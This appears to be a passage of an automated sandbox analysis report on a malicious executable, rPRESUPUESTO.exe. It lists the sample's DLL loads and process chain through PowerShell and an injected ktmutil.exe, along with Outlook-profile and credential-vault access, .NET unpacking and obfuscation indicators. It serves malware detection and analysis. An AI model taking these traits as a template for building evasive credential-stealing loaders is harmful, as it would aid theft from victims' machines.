Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\ktmutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: rPRESUPUESTO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: rPRESUPUESTO.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: rPRESUPUESTO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000000.2251157795.000000000098E000.00000002.00000001.01000000.0000000D.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000000.2398762392.000000000098E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: gESw.pdb source: rPRESUPUESTO.exe
Source:	Binary string: wntdll.pdbUGP source: rPRESUPUESTO.exe, 00000005.00000002.2328716564.00000000017A0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2330777913.0000000002976000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002CBE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002B20000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2328626906.00000000027CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: gESw.pdbSHA256 source: rPRESUPUESTO.exe
Source:	Binary string: wntdll.pdb source: rPRESUPUESTO.exe, rPRESUPUESTO.exe, 00000005.00000002.2328716564.00000000017A0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 00000009.00000003.2330777913.0000000002976000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002CBE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002B20000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2328626906.00000000027CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdbGCTL source: rPRESUPUESTO.exe, 00000005.00000002.2328360185.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587226649.0000000001028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdb source: rPRESUPUESTO.exe, 00000005.00000002.2328360185.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587226649.0000000001028000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	.Net Code: M9vXm3sDMA System.Reflection.Assembly.Load(byte[])
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	.Net Code: M9vXm3sDMA System.Reflection.Assembly.Load(byte[])
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	.Net Code: M9vXm3sDMA System.Reflection.Assembly.Load(byte[])

Source: rPRESUPUESTO.exe

Static PE information: 0xEEB2EB9E [Sun Nov 25 17:32:14 2096 UTC]

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_0787AF9B push B807888Ch; iretd	0_2_0787AFA5
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00414873 push ds; ret	5_2_00414882
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00405163 push F29618B7h; iretd	5_2_00405168
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00424103 push edi; retf	5_2_0042410C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0040512C push esi; iretd	5_2_0040512F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004169CC push ecx; retf	5_2_004169CD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004049E6 push ecx; retf	5_2_004049E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004049E8 push eax; retf	5_2_004049EB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00411B84 push es; ret	5_2_00411B8F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00411B97 pushfd ; ret	5_2_00411BAB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00403490 push eax; ret	5_2_00403492
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00404D07 push ds; ret	5_2_00404D10
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D09AD push ecx; mov dword ptr [esp], ecx	5_2_017D09B6
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6D089 push eax; ret	8_2_04C6D08B
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6265F push edi; retf	8_2_04C62673
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6AE6D push cs; retf	8_2_04C6AE6E
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6266A push edi; retf	8_2_04C62673
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6221D push esp; iretd	8_2_04C6223A
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6278D push ecx; iretd	8_2_04C6278E
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C617BB push esp; iretd	8_2_04C617CA
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C62743 push ecx; iretd	8_2_04C62744
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B509AD push ecx; mov dword ptr [esp], ecx	9_2_02B509B6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018E6F1 push es; ret	9_2_0018E6FC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018E704 pushfd ; ret	9_2_0018E718
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001A0C70 push edi; retf	9_2_001A0C79
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001913E0 push ds; ret	9_2_001913EF
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00193539 push ecx; retf	9_2_0019353A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00181553 push ecx; retf	9_2_00181554
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00181555 push eax; retf	9_2_00181558
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00181874 push ds; ret	9_2_0018187D
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00181C99 push esi; iretd	9_2_00181C9C

Source: rPRESUPUESTO.exe

Static PE information: section name: .text entropy: 7.915293858213766

Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, dYxsZezjD2vd6yPHgC.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'UI3xEXPaLx', 'chPxoE7mpQ', 'n9XxtcsV6d', 'lctx2jJrAR', 'isbxl1oKcg', 'NwPxxJXMot', 'm6LxLK9j1p'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, jnNieI10C29r6YPK4W.cs	High entropy of concatenated method names: 'eHdTwuS5tA', 'boeTsV9I6h', 'Vmy40wruRa', 'ICi4Pe4v12', 'qrs4ZhUHZE', 'Mbk4n9y99p', 'lsj4Kwow1e', 'sbx4UbY56q', 'Qc94fwFVfi', 'Qih4Qv82R2'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, l1J7HFBZ1MgJlBwPK5.cs	High entropy of concatenated method names: 'do1xkYJ5ZO', 'YhaxGaoLyJ', 'RhXxXkFT5n', 'l7Kxu5gOvP', 'HGwxpekyZ9', 'lPVxTt5ep8', 'U5vxyTZ9cl', 'A4hlVHD1iO', 'hL9l7qNwUP', 'tPTlDHmnFm'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, rMS3WvcctN5gsoIYYg.cs	High entropy of concatenated method names: 'fD827ngggY', 'DD82B3cVQZ', 'Lp2lqNSVFd', 'THIlkGEP5h', 't2F2aIPypX', 'wgo2Rb6yG6', 'aRo2CnF7Zw', 'Bp82jLna0g', 'pGL29waH5P', 'fA72O7uumC'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, jcxJwOgYMsNuWo6rDt.cs	High entropy of concatenated method names: 'w874r60JFP', 'EhP4vNPr6I', 'Jfw4iu0Aha', 'sCK4gdGvN4', 'eYJ4orhu6n', 'EJL4td4MwM', 'zbB42iprRT', 'yS64lYXdSW', 'eXQ4xGl3EE', 'FEC4LiqFaE'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, kMIXWOixU8twbSWtxx.cs	High entropy of concatenated method names: 'FUEpj5hc98', 'Pdnp9h3jT5', 'HYQpON6Pb0', 'c3CpIwqvD9', 'qmYpAdPls6', 'GelpcZy3sK', 'Y0rpVgHqBY', 'Yqpp7qno6P', 'mnvpDnBbkp', 'gKHpBmkixK'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Ays466Ye2OgS5tPSlk.cs	High entropy of concatenated method names: 'UmI8jD4es13CVk9kWCJ', 'g8JfXI4OovIFxvqN7DX', 'MqKyly7TfD', 'CPXyxPIsdo', 'AGpyLOup2E', 'PlVSsj4fyiHdeOSQnrT', 'y6kUTv4EZ0bm7gBVQwN'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, NZwxqDXBm7FlmwqLQl.cs	High entropy of concatenated method names: 'SWNkHMIXWO', 'rU8kNtwbSW', 'TYMkbsNuWo', 'urDkWtHnNi', 'GPKko4WFFj', 'btfktZgqUl', 'If4Uknt3EXGbCdPc05', 'LpM7y6pvYCRCX7TIDS', 'z71KoHr8C5kZiNNQmm', 'qRrkk768NW'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, sTe3F6fHuEKyNny7Lb.cs	High entropy of concatenated method names: 'L8EHJAGhxX', 'VjrH5PQ6B8', 'RQwHmyJ5SQ', 'a27HrQcZy5', 'l3OHwbyL49', 'aHkHva3jEA', 'Cu1HsUjETg', 'yEGHihThoL', 'A1GHg9NQqI', 'SFiH1EG3OT'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Ljd7rDCBt3UIxc8BUY.cs	High entropy of concatenated method names: 'P5eEiKjnhp', 'F5pEgh7Qes', 'bARESosOXZ', 'kEbEYnsw5Y', 'jwPEPsSQ0t', 'mv4EZM9Km2', 'STiEKTRlL1', 'AkiEU4XKZG', 'pcoEQKtcOS', 'RCmEa4hv8y'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, CHhd18p30b5FjJ912H.cs	High entropy of concatenated method names: 'Dispose', 'j5GkDvOn2u', 'ImG8Y3ZePm', 'Bullllp2VL', 'acykBvj2dR', 'v9wkzc0YZE', 'ProcessDialogKey', 'Fcr8qSVmU4', 'VMZ8krBmlK', 'ldn88h1J7H'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Vyvj2d7RF9wc0YZE1c.cs	High entropy of concatenated method names: 'zpZludnjXV', 'UdUlpS8247', 'W6Vl4HV2Wg', 'lJBlTexnAb', 'nSdlyqoh1J', 'yeVlH1sQsw', 'yjRlNEO0lj', 'Q6clh5w74c', 'wwMlbuAV6r', 'IAqlWlyyL2'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	High entropy of concatenated method names: 'bFqG3Bxpp6', 'yAGGuY70PU', 'nlNGpbAlrr', 'F3AG4IR8F1', 'RNTGTYo0nD', 'hxcGye63W4', 'wXIGHoZCg3', 'vReGNArNZa', 'FLYGh78DeE', 'EArGbxNRbA'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Atp1CPja1oRVV7weY4.cs	High entropy of concatenated method names: 'WZwoQhBlxl', 'oL7oRW3WCI', 'dBlojLiYHI', 'Cwho9gk8Qq', 'z5HoYmWkVu', 'yiJo0VWJCO', 'XVSoPE2ZDk', 'zUToZCfc53', 'UsDonLwqt3', 'OKHoKH6cnW'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Ek4TwYkqWlNK1TUGl6X.cs	High entropy of concatenated method names: 'esoxJTp71h', 'Gubx54Mx1e', 'G4XxmxmZyp', 'd3OxrK9mQu', 'SEaxwknDFj', 'k1Wxv6ICe5', 'c50xs7AND3', 'LuHxiLvJTY', 'pBDxgS0Zn4', 'Rrrx1XDUIG'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, YgVJrRKCxx1HS9qZcX.cs	High entropy of concatenated method names: 'D3GHu4qYg9', 'BZBH4Asg9u', 'glIHyechCm', 'miLyBNYn17', 'YVhyzfd1qT', 'iLNHqvHgoV', 'HnwHkGC7Na', 'sKIH87vdqT', 'JJDHGKTpkV', 'L1BHXpRKnF'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, JByv60Ip9yJbwQWgNM.cs	High entropy of concatenated method names: 'UCv2bh8dET', 'SMZ2WkXBHc', 'ToString', 'r3F2u1E950', 'xGB2pLwjce', 'e9T240BC4S', 'MOI2TrZXAE', 'Orm2ySqx1B', 'jBN2HH4x3M', 'tR62NNPoqu'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, vFj8tfSZgqUlYsQxMp.cs	High entropy of concatenated method names: 'y9Jy35RRa0', 'sy6ypiTSuA', 'ClhyTRlbPt', 'YvNyHymtc8', 'YYjyNe3OmX', 'BVYTABXb1X', 'L6bTcTtYhA', 'FIsTVBjUJb', 'jhrT7MD3SY', 'XUrTDEKKIR'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, ASVmU4DcMZrBmlKhdn.cs	High entropy of concatenated method names: 'qlHlSmAUJw', 'kQplY6rd28', 'Wp6l0fAp2x', 'vl0lPeWgKf', 'c9ZljWUKW5', 'N7NlZm7yiV', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, g9VT4R8NH23savAS8y.cs	High entropy of concatenated method names: 'CFOmpREXH', 'bG4rB6jxd', 'aHovDNemB', 'gj4svE4Tl', 's9QgTtGy4', 'oWw1gifUZ', 'ioxvO00wCF9lcA6DVg', 'ajlr4mBnZ769RSx0QF', 'D49jwEYpeYrfarkWnR', 'kNLlV1xQb'
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, AjQT9mkG0ultOemfqx7.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JJTLjH8whY', 'aCnL9xAyiN', 'u0xLOSw2b8', 'KmBLIh5pcY', 'ls5LApRAqR', 'fn8LchAfKy', 'd4eLVmvLa8'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, dYxsZezjD2vd6yPHgC.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'UI3xEXPaLx', 'chPxoE7mpQ', 'n9XxtcsV6d', 'lctx2jJrAR', 'isbxl1oKcg', 'NwPxxJXMot', 'm6LxLK9j1p'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, jnNieI10C29r6YPK4W.cs	High entropy of concatenated method names: 'eHdTwuS5tA', 'boeTsV9I6h', 'Vmy40wruRa', 'ICi4Pe4v12', 'qrs4ZhUHZE', 'Mbk4n9y99p', 'lsj4Kwow1e', 'sbx4UbY56q', 'Qc94fwFVfi', 'Qih4Qv82R2'
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, l1J7HFBZ1MgJlBwPK5.cs	High entropy of concatenated method names: 'do1xkYJ5ZO', 'YhaxGaoLyJ', 'RhXxXkFT5n', 'l7Kxu5gOvP', 'HGwxpekyZ9', 'lPVxTt5ep8', 'U5vxyTZ9cl', 'A4hlVHD1iO', 'hL9l7qNwUP', 'tPTlDHmnFm'
